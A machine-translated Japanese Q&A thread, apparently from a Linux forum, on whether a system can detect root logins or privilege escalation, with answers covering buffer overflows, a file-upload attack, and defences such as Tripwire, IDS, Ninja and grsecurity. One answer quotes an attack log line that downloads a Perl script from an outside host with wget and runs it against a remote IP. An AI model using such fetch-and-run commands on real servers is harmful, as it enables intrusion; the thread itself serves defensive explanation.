一部のローカル権限昇格の脆弱性(例:これ)。
オペレーティングシステムがrootとしてログインした人(または新しいrootプロセスの開始)を検出できるかどうか疑問に思います。次の構成を持つGnu / Linuxシステムを想像してください。rootがシステムにログインした場合(またはroot権限を取得するためにいくつかの脆弱性が検出された場合)、システムはそれ自体が中断/終了し、バックアップシステム(別の構成)を起動するか、管理者が管理しますになります。通知する...
私の考えは妥当ですか、それともほとんどの脆弱性はその性質上検出できませんか?
答え1
脆弱性の悪用の鍵は、発見されないように努力することです。その結果、ほとんどのエクスプロイトは少なくとも最初は通常の手段を介してシステムに侵入しません。彼らは通常、次のようなものを使用します。バッファオーバーフローシステムにアクセスするには
バッファオーバーフロー
このタイプの攻撃は、ユーザー入力を取得すると予想されるアプリケーションの一部を探します。情報を提供する必要があるWebページとさまざまなテキストボックスを検討してください。すべてのテキストボックスは潜在的な攻撃者の潜在的なエントリポイントになります。
良いニュース:
- これらの攻撃のほとんどはルートアクセス権を取得せず、Webサーバー用に特別に設定されたユーザーアカウントへのアクセス権を取得します。したがって、通常はWebサーバーのファイルと機能にのみアクセスできます。
- 攻撃者は侵入中にいくつかの地域にかなりの痕跡を残しました。
- ファイアウォールログ
- Webサーバーログ
- その他の潜在的なセキュリティツールログ
悪いニュース:
- 彼らはシステムへのアクセス権を得て、それゆえ追加の侵入を試みることができる橋頭堤を持っています。
- 丸太。はい、ログ分析には時間がかかり、エラーが発生しやすいことを考慮すると、ほとんどの場合、数週間/月/年に侵入は検出されません。
ルートログイン検出
ほとんどのシステムはルートログインを許可しないように設計されているため、この攻撃ベクトルは実際には問題になりません。ほとんどの攻撃は他の下位レベルのアカウントにアクセスし、システムに橋頭堤が設定されていると、他の脆弱性を見つけて悪用します。
例#1:
攻撃者は次のタスクを実行してrootアクセス権を取得する可能性があります。
- テキストボックスを介してフォーム上のユーザー入力を処理する脆弱なWebページを見つけ、システムのWebサーバーアカウントを破損します。
- Web サーバー アカウントへのアクセス権を取得したら、Web サーバー アカウントからシェル アクセス権を取得するか、Web サーバー アカウントにユーザーの代わりにコマンドを実行させるようにしてください。
- 特定のシステムのツール(コマンドなど)のバージョンに脆弱性があることを確認してください
ls
。 ls
ルートアカウントにアクセスするには、ツールをオーバーフローしてください。
例#2:
潜在的な攻撃者はシステムを完全に制御することに興味がないかもしれません。ほとんどの侵入者は、他の用途に「奴隷」を収集するシステムにのみ興味があります。多くの場合、攻撃者はシステムを完全に制御することなくソフトウェアを使用できるように、システムにソフトウェアをインストールしたいと考えています。
- ウェブサイトがwebapp Xを開いていることを確認してください。攻撃者は、webapp Xにユーザーが画像ファイルをアップロードする可能性がある脆弱性があることを知っています。
- 攻撃者はという名前のファイルを準備して
CMD.gif
アップロードします。たとえば、フォーラムサイトのユーザーのアバター画像です。ところがCMD.gif
イメージではなく、実際にはというプログラムですCMD.gif
。 - 攻撃者はフォーラムサイトに「画像」をアップロードしました。
- これで、攻撃者はwebapp Xを「だまして」自分の「イメージ」を実行させます。
- 攻撃者はブラウザを使用してwebapp Xを呼び出しますが、webapp Xの作成者が想像もしなかった方法で呼び出します。彼らはまた、これを無効にするようにwebapp Xを設計していません。
これらの攻撃に対するWebサーバーログファイル
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200
メモ:Apache Webサーバーのサンプルログ(提供)OSSEC.net。
ここで攻撃者は webapp X(index.php) を実行しており、CMD.gif
次のことができます。
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
/tmp
だから彼らはwebappをだましましたdc.txt
。
「破損した」サーバーを無効にする
脆弱性が「検出された」サーバーをシャットダウンできるという考えは良い試みですが、いくつかの理由で機能しません。
- 攻撃者が最初のシステムに侵入できる場合は、おそらく2番目のシステムに侵入する可能性があります。
- ほとんどのシステムは本質的にお互いのレプリカです。メンテナンスがより簡単で簡単に(同じ)維持することは、ITおよびコンピューティングの分野のほとんどの特徴です。
- 構成が異なると、システムを保守するためにさらに作業が必要になり、エラーが発生する可能性が高くなり、これはしばしば脆弱性につながります。
- 攻撃者の目標は侵入ではなく、サービスへのアクセスを拒否しようとする可能性があります。これは…サービス拒否(DoS)。
ダメージを制限しようとする
続行することもできますが、通常はシステムセキュリティに関連して使用できるリソースがいくつかあります。
- 次のようなものを使用してください引き継ぎ鉄線システムファイルシステムの変更を検出します。
- ファイアウォール - すべてへのフルアクセスではなく、必要な場合にのみアクセスが明示的に許可されるようにアクセスを制限します。
- ツールを使用してログファイルを分析し、異常の兆候を検出します。
- システムを最新の状態に保ち、最新のパッチをインストールします。
- 露出を制限してください。システムに必要なソフトウェアのみをインストールしてください。コンパイラをインストールする必要がない場合は
gcc
インストールしないでください。 - IDS - 侵入検知ソフトウェア。
答え2
オペレーティングシステムは、誰かがrootとしてログインするたびにログエントリを追加して追加します。ただし、さまざまな理由で特権の昇格エラーを防ぐのには役に立ちません。
攻撃者がルートになると、ログエントリを削除する可能性があります。これを防ぐ唯一の方法は、1回の記録メディアやリモートシステムなど、攻撃者がアクセスできない場所にログを記録することです。
ルートで始まるログインまたはプロセスは一般的なイベントです。毎日のクローンジョブが実行されているので、毎朝6時に起きたくありません。疑わしいプロセス、ネットワークトラフィック、その他の動作を検出するのは複雑なヒューリスティックベースのタスクです。IDS(侵入検知システム)。
特権昇格エラーは、攻撃者がログインしたり、必ずしも新しいプロセスを実行することとは関係ありません。攻撃者は、実行中のプログラムのバグを悪用して、自分が挿入したすべてのコードが実行されるようにします。攻撃者がすでにシステム内の他のプログラムを呼び出すのが便利な場合が多いですが、必ずしも必要な場合はほとんどありません。
答え3
良い質問!
マルチユーザーシステムでは、ローカルルート攻撃が成功した場合にのみいくつかの保護が必要です。
これ忍者ユーザースペースソフトウェアは、新しいルートプロセスを継続的に監視し、予期しないソースから作成された場合はそのプロセスを終了できます。欠点は、NinjaがCPUをかなり使用していることです。習慣この攻撃は、忍者が忍者を殺す前に忍者を殺すのに十分速いかもしれません。
Ninjaは、GNU / Linuxホスト用の特権昇格検出および防止システムです。実行すると、ローカルホストのプロセスアクティビティを監視し、ルートとして実行されているすべてのプロセスを追跡します。生成されたプロセスのUIDまたはGIDが0(ルート)の場合、ninjaはプロセスに関する必要な情報を記録し、承認されていないユーザーが作成した場合はオプションでプロセスを終了します。
より安全な代替手段は、次のものを使用することです。GRSECカーネルをパッチするには:RBAC(役割ベースのアクセス制御)機能。 RBACを使用して削除根ユーザーはすべての権限を持っているため、管理者の役割で認証しない限り、ルートを取得することは実際に役に立ちませんgradm -a admin
。
GRSECも付属しています。ParX、これはカーネルを悪用しにくくします。